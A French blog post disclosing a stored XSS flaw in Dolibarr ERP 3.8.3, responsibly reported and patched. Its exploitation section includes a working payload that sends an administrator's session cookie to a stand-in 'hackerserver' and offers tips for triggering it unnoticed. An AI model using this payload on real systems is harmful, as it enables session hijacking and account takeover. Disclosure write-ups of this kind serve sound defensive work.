[XSS] Dolibarr version 3.8.3

J’ai récemment découvert une faille de sécurité de type Stored XSS (SXSS) sur la dernière version de l’ERP Open-Source Dolibarr. Je détail cette vulnérabilité dans cet article.

Dolibarr

Dolibarr est un ERP/CRM Open-Source très populaire et très utilisé en entreprise. Il est présent dans le top 4 des ERP Open Source les plus utilisés selon cet article du site web OpenSource.com : https://opensource.com/resources/top-4-open-source-erp-systems

A l’occasion de l’exploration de ce produit OpenSource, j’ai découvert une faille de sécurité de type XSS dans le coeur de l’application. Il faut comprendre par là que Dolibarr est un outil modulaire, il est installé sans fonctionnalité spécifique et s’utilise en fonction des modules que l’on active par la suite. La vulnérabilité que j’ai découverte ne nécessite l’activation d’aucun de ces modules. Cela signifie donc qu’une grande partie des installations de Dolibarr, pour cette version et les précédentes, sont impactées.

Détail de la vulnérabilité

Abordons maintenant les détails techniques de cette vulnérabilité. Elle est particulièrement intéressante dans son utilisation car elle permet à un simple utilisateur de faire exécuter du code HTML/JavaScript au navigateur d’un administrateur ou d’un utilisateur privilégié.

Dans le principe, un utilisateur possédant un compte valide peut modifier certains de ses attributs comme son nom, son prénom, sa signature, etc.

Le fait est qu’un administrateur ou un utilisateur possédant des droits avancés aura la permission de lister les utilisateurs et de voir leurs attributs. Nous allons profiter de ce principe pour faire exécuter du code HTML/JavaScript aux privilégiés qui viendront vérifier nos attributs.

Voici la vue qu’un utilisateur possédant un compte valide aura lorsqu’il souhaitera modifier ses attributs :

dolibarr-3.8.3-xss-stored-01

De l’autre coté, voici les deux vues qu’un administrateur peut avoir, d’abord quand il voit tous les utilisateurs, ensuite lorsqu’il voit les attributs d’un utilisateur précis :

dolibarr-3.8.3-xss-stored-02

D’après mes recherches, les attributs suivants permettent à un utilisateur d’injecter du code HTML/Javascript :

  • Last name
  • First name
  • job (Post/Function)
  • email
  • Signature

Voici un exemple de payload qui fonctionne pour tous ces champs :

user2<img src=x onmouseover=alert(1)>

Une fois que ce payload est inséré dans les champs vulnérables, voici la vue que l’on peut avoir, en tant qu’utilisateur :

dolibarr-3.8.3-xss-stored-03

Et en tant qu’administrateur :

dolibarr-3.8.3-xss-stored-04

Ici, nous voyons qu’un ensemble d’images sont insérées dans le code HTML de la page affichée. Dans ce cas précis, ce sont des liens vers des images qui n’existent pas, mais l’impact serait le même si les images existaient, elles seraient alors affichées. En passant son curseur au dessus de l’image importée par notre balise HTML « img« , l’administrateur va exécuter le code JavaScript injecté :

dolibarr-3.8.3-xss-stored-05

Notez qu’une protection basique est en place. Cette protection empêche un utilisateur malicieux d’injecter des payloads basiques comme un « script » ou un « onerror« . Nous sommes dans ces cas renvoyé vers le message suivant qui est assez explicite :

dolibarr-3.8.3-xss-stored-06Cependant tous les tags/events JavaScript ne sont pas filtrés, comme le « onmouseover » sur la balise « img« .

Nous pouvons ensuite essayer un payload plus utile dans un contexte réel, mais nous pouvons rapidement observer que les champs suivants sont limités en nombre de caractères :

  • Last name
  • First name
  • job (Post/Function)
  • email

En effet, nous pouvons soumettre un grand nombre de caractères dans ces champs. Cependant les données réellement enregistrées ne font pas plus de 50 caractères. Cela est handicapant pour inclure plusieurs instructions JavaScript. Seul le champ « signature » permet d’inclure plus de caractères. Nous allons donc utiliser celui-ci pour injecter un payload qui enverra les cookies de l’utilisateur passant son curseur au dessus de notre image sur un site web via une requête GET :

<img src=x onmouseover=document.location="http://hackerserver?c="+document.cookie+"">

Une fois que cette entrée sera soumise, n’importe quel utilisateur qui passera son curseur au dessus de l’image (qui peut pointer vers une image existante ou non) sera redirigé vers un site web contrôlé par l’attaquant et passera son cookie en paramètre GET. Le contenu de ce cookie apparaîtra ensuite dans les logs du serveurs web.

Notez que l’affichage d’une erreur d’image (qui apparaît lorsque l’image pointé n’est pas joignable) peut alerter un utilisateur attentif. On peut cependant forcer la chance en faisant pointer notre balise « img » vers une très grande image (par exemple de taille 1920*1080). Celle-ci prendra alors toute la place et il sera fort probable qu’un utilisateur passe son curseur dessus par inadvertance, ce sera d’autant plus le cas si cette image est de la même couleur que le fond du site web. L’utilisateur verra alors simplement un très grand espace vide qui sera en réalité notre image possédant l’event piégé « onmouseover« .

Quel est l’impact d’un vol de cookie ?

Un cookie contient les informations nécessaires à l’identification d’une session ouverte. Une session peut être identifiée comme une partie de jeu vidéo. Une fois que vous commencez une partie, la session est ouverte et vous êtes identifié via un login/numéro, vous possédez certains droits, etc. Toute personne qui usurpera votre identifiant de session pourra se faire passer pour vous dans la partie. C’est exactement la même chose dans le contexte d’une application web. Le vol de la session d’un administrateur permettra à l’attaquant de se connecter en tant qu’administrateur sur l’application web ciblée.

Plus généralement, il faut être conscient qu’un faille de type XSS, et notamment les failles Stored XSS, permettent à un attaquant d’effectuer de nombreuses actions, le vol de cookie, la redirection d’un utilisateur, la réécriture d’une page, la modification partielle du code d’une page, etc.

Voici une vidéo, réalisée par mes soins qui montre l’exploitation de cette vulnérabilité. J’y montre comment cette vulnérabilité XSS peut être exploitée afin de voler la session d’un administrateur :

Notez que cette vidéo a été réalisée dans un environnement de test, sur une machine virtuelle locale.

Cette vulnérabilité a été remontée en Responsible Disclosure aux équipes de développement de Dolibarr.

Je salue l’amabilité et la réactivité des équipes de développement pour la correction de cette vulnérabilité et la mise à disposition d’un correctif.

Cette vulnérabilité a fait l’objet d’un correctif qui est disponible, notamment sur le github de l’application : https://github.com/Dolibarr/dolibarr/issues/4341  / https://github.com/Dolibarr/dolibarr/commit/36dc8b1ce79c972c867b804778c5b780caea8a56

Advisory : https://packetstormsecurity.com/files/135201/Dolibarr-3.8.3-Cross-Site-Scripting.html

Cela vous intéressera peut être...

Une réponse

  1. jywy dit :

    merci pour l’information, et merci pour tes articles sur les deux sites que je suis tous les jours 😉
    c’est toujours bien expliqué et propre

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *